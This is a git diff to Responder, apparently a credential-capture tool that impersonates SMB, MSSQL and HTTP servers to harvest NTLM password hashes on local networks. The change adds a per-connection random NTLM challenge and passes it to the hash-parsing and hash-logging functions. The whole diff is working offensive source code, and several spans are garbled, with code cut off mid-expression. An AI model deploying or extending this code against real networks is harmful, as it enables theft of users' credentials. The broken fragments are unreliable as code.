diff --git a/Responder.conf b/Responder.conf index 70cf097..1d014ef 100644 --- a/Responder.conf +++ b/Responder.conf @@ -13,7 +13,8 @@ HTTPS = On DNS = On LDAP = On -; Custom challenge +; Custom challenge. +; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 ; SQLite Database file diff --git a/servers/HTTP.py b/servers/HTTP.py index 8afa3e6..6f170fc 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -25,7 +25,7 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile # Parse NTLMv1/v2 hash. -def ParseHTTPHash(data, client, module): +def ParseHTTPHash(data, Challenge, client, module): LMhashLen = struct.unpack('i',data[2:6])[0] MessageSequence = struct.unpack(' 60: - WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) + WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:]) SaveToDb({ 'module': 'MSSQL', @@ -126,7 +126,7 @@ class MSSQL(BaseRequestHandler): while True: data = self.request.recv(1024) self.request.settimeout(0.1) - + Challenge = RandomChallenge() if data[0] == "\x12": # Pre-Login Message Buffer = str(MSSQLPreLoginAnswer()) @@ -135,7 +135,7 @@ class MSSQL(BaseRequestHandler): if data[0] == "\x10": # NegoSSP if re.search("NTLMSSP",data): - Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) + Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) Packet.calculate() Buffer = str(Packet) self.request.send(Buffer) diff --git a/servers/SMB.py b/servers/SMB.py index 46851c7..1561871 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -88,7 +88,7 @@ def GrabSessionID(data): SessionID = data[44:52] return SessionID -def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2 +def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2 SSPIStart = data.find('NTLMSSP') SSPIString = data[SSPIStart:] LMhashLen = struct.unpack('i", len(''.join(packet1)))+packet1 @@ -263,7 +263,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP data = self.request.recv(1024) ## Session Setup 3 answer SMBv2. if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe": - ParseSMB2NTLMv2Hash(data, self.client_address[0]) + ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge) head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data)) t = SMB2Session2Data() packet1 = str(head)+str(t) @@ -289,9 +289,9 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP # STATUS_MORE_PROCESSING_REQUIRED Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: - Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") + Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") else: - Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) + Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) Body.calculate() Packet = str(Header)+str(Body) @@ -313,7 +313,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP else: # Parse NTLMSSP_AUTH packet - ParseSMBHash(data,self.client_address[0]) + ParseSMBHash(data,self.client_address[0], Challenge) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: # Send ACCOUNT_DISABLED to get multiple hashes if there are any @@ -401,7 +401,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version try: self.request.settimeout(0.5) data = self.request.recv(1024) - + Challenge = RandomChallenge() if data[0] == "\x81": #session request 139 Buffer = "\x82\x00\x00\x00" self.request.send(Buffer) @@ -409,7 +409,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version if data[8:10] == "\x72\x00": #Negotiate proto answer. head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) - Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge) + Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) Body.calculate() Packet = str(head)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet @@ -423,7 +423,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) else: - ParseLMNTHash(data,self.client_address[0]) + ParseLMNTHash(data,self.client_address[0], Challenge) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Packet = str(head) + str(SMBSessEmpty()) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet diff --git a/settings.py b/settings.py index 5ea5e1a..e02dff9 100644 --- a/settings.py +++ b/settings.py @@ -20,7 +20,7 @@ import subprocess from utils import * -__version__ = 'Responder 2.3.3.0' +__version__ = 'Responder 2.3.3.2' class Settings: @@ -195,14 +195,19 @@ class Settings: # Set up Challenge self.NumChal = config.get('Responder Core', 'Challenge') + if self.NumChal.lower() == 'random': + self.NumChal = "random" - if len(self.NumChal) is not 16: + if len(self.NumChal) is not 16 and not "random": print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) sys.exit(-1) self.Challenge = "" - for i in range(0, len(self.NumChal),2): - self.Challenge += self.NumChal[i:i+2].decode("hex") + if self.NumChal.lower() == 'random': + pass + else: + for i in range(0, len(self.NumChal),2): + self.Challenge += self.NumChal[i:i+2].decode("hex") # Set up logging logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') diff --git a/utils.py b/utils.py index 72818a9..4c6db50 100644 --- a/utils.py +++ b/utils.py @@ -23,6 +23,17 @@ import time import settings import datetime +def RandomChallenge(): + if settings.Config.NumChal == "random": + from random import getrandbits + NumChal = '%0x' % getrandbits(16 * 4) + Challenge = '' + for i in range(0, len(NumChal),2): + Challenge += NumChal[i:i+2].decode("hex") + return Challenge + else: + return settings.Config.Challenge + def HTTPCurrentDate(): Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') return Date